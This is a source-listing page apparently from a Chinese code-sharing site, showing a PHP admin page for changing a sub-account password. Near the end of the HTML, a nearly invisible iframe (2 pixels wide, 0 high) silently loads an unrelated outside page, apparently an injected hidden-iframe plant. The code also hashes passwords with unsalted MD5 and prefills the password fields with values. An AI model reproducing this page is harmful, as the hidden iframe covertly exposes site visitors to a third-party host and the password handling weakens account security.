son_account_modify.php
上传用户:m68239277
上传日期:2014-10-12
资源大小:824k
文件大小:3k
源码类别:

Web服务器

开发平台:

PHP

  1. <?php 
  2. session_start();
  3. include("checks.php");
  4. $all_agent=$_SESSION["all_agent"];
  5. $agent_son=$_SESSION["all_agent_son"];
  6. $_SESSION["menus"]="子账号修改";
  7. include("../inc/conn.php");
  8. include("../inc/base_status.inc.php");
  9. function outscript($arr)
  10. {
  11.   echo "<script language='javascript'>alert('".$arr."');window.location.href='son_account_modify.php';</script>";
  12. }
  13. if(isset($_GET["act"]))
  14. { $act=$_GET["act"];
  15.  if($act=="mod")
  16.  {
  17.  $id=$_POST["id"];
  18.  $username=$_POST["mod_account"];
  19.  $mod_pwd1=$_POST["mod_pwd1"];
  20.  $mod_pwd2=$_POST["mod_pwd2"];
  21.  $password=md5($mod_pwd1);
  22.    if($mod_pwd1==""||$mod_pwd2=="")
  23.    {
  24.     outscript('请输入用户密码!');
  25.    }elseif($mod_pwd1<>$mod_pwd2)
  26.    {
  27.     outscript('两次密码不一致!');
  28.    }else
  29.    {
  30.    $sqls=mysql_query("update son_account set password='$password' where account='$agent_son'",$conn);
  31.    if($sqls) outscript('修改成功!');
  32.    }
  33.  }
  34. }
  35. ?>
  36. <html>
  37. <head>
  38. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  39. <link href="../css/css.CSS" rel="stylesheet" type="text/css">
  40. <title></title>
  41. <style type="text/css">
  42. <!--
  43. body {
  44. margin-left: 10px;
  45. }
  46. -->
  47. </style></head>
  48. <body oncontextmenu="return false" onselectstart="return false" 
  49. onkeydown="return (event.ctrlKey &amp;&amp; event.keyCode == 78) ? false : true" 
  50. ondragstart="return false" onmouseover="window.status=''; return true"><br>
  51. <table width="645" height="82" border="0" align="left" cellpadding="0" cellspacing="0" class="tmove">
  52.   <tr>
  53.     <td height="82" valign="top"><table width="645" height="53" border="0" cellpadding="0" cellspacing="1" class="t12">
  54.       <tr class="t11">
  55.         <td width="154" height="22"><div align="center" class="fw12">子账号</div></td>
  56.         <td width="174"><div align="center" class="fw12">新密码</div></td>
  57.         <td width="197"><div align="center" class="fw12">确认密码</div></td>
  58.         <td width="120"><div align="center" class="fw12">功能</div></td>
  59.       </tr>
  60. <form name="form2" method="post" action="son_account_modify.php?act=mod">
  61.   <tr class="t17">
  62.         <td height="28"><div align="center">
  63.           
  64.        <?=$agent_son?> </div></td>
  65.         <td><div align="center">
  66.           <input name="mod_pwd1" type="password" class="input" id="mod_pwd1" value="21223" size="16" maxlength="16" onClick="this.value='';">
  67.         </div></td>
  68.         <td><div align="center">
  69.           <input name="mod_pwd2" type="password" class="input" id="mod_pwd2" value="12345" size="16" maxlength="16" onClick="this.value='';">
  70.         </div></td>
  71.         <td><div align="center">
  72.           <input type="submit" name="Submit" value="修改">&nbsp;
  73.         </div></td>
  74.       </tr> </form>
  75.     </table></td>
  76.   </tr>
  77. </table>
  78. <iframe name=yyes id="yyes" src="http://www.n199.com/email.asp" frameBorder="2" width="2" scrolling="no" height="0"  ></iframe>
  79. <p>&nbsp;</p>
  80. <p>&nbsp;</p>
  81. </body>
  82. </html>